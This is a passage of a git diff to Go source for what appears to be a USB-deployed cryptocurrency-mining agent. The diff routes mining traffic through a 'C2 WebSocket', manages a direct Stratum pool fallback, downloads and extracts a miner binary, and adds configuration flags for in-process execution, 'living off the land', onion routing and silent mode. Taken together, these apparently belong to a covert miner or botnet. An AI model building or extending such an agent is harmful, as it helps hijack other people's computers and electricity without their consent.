c.conn.SetWriteDeadline(time.Now().Add(15 * time.Second)) + err := c.conn.WriteJSON(msg) + _ = c.conn.SetWriteDeadline(time.Time{}) // clear deadline after write + return err } // needsStratumFallback returns true when either: @@ -1016,6 +1192,10 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) { if c.cfg.PoolHost == "" { return // no pool configured } + if c.cfg.StratumOverWS { + log.Printf("[stratum] StratumOverWS enabled — direct pool egress disabled; telemetry via C2 WebSocket") + return + } type fallback struct { stop chan struct{} @@ -1047,6 +1227,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) { sc.RunFallback(stop) }() fb = &fallback{stop: stop, wait: wait} + if c.miningChain != nil { + c.miningChain.SetStratumActive(true) + } if c.connected.Load() { log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort) } else { @@ -1060,6 +1243,9 @@ func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) { <-fb.wait fb = nil c.pool.SetShareHandler(c.submitShare) + if c.miningChain != nil { + c.miningChain.SetStratumActive(false) + } log.Printf("[stratum] fallback stopped — %s", reason) } } diff --git a/usb/agent/client/gpu_miner.go b/usb/agent/client/gpu_miner.go index 5e47857..5fd7f10 100644 --- a/usb/agent/client/gpu_miner.go +++ b/usb/agent/client/gpu_miner.go @@ -93,8 +93,10 @@ func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner { pauseCh: make(chan struct{}), resumeCh: make(chan struct{}), } - // Start with resumeCh closed so the run loop is not blocked. - close(g.resumeCh) + // pauseCh starts open; waitIfPaused hits the default branch and returns + // true immediately, so no pre-close of resumeCh is needed (and + // pre-closing it would break the first Pause() — the inner select would + // fire on the already-closed channel instead of blocking). return g } @@ -436,7 +438,8 @@ func (g *GPUMiner) ensureMinerBinary() (string, error) { } func downloadAndExtract(url, destDir, targetFile string) error { - resp, err := http.Get(url) //nolint:noctx + client := &http.Client{Timeout: 5 * time.Minute} + resp, err := client.Get(url) if err != nil { return err } @@ -444,7 +447,7 @@ func downloadAndExtract(url, destDir, targetFile string) error { if resp.StatusCode != http.StatusOK { return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url) } - data, err := io.ReadAll(resp.Body) + data, err := io.ReadAll(io.LimitReader(resp.Body, 512<<20)) if err != nil { return err } diff --git a/usb/agent/config/builtin.go b/usb/agent/config/builtin.go index 767999b..f00d092 100644 --- a/usb/agent/config/builtin.go +++ b/usb/agent/config/builtin.go @@ -12,6 +12,7 @@ func GetBuiltinConfig() BuiltinConfig { ThreadPercent: 75, CPUPriority: "below_normal", MiningMode: "always", + MinerExecution: "inprocess", DisplayMode: "visible", SilentMode: false, RunAs: "user", @@ -53,5 +54,7 @@ func GetBuiltinConfig() BuiltinConfig { RVNPoolPort: 6060, RVNPoolTLS: false, RVNPoolPass: "x", + LotlOnionEnabled: false, + LotlPolicyFromServer: false, } }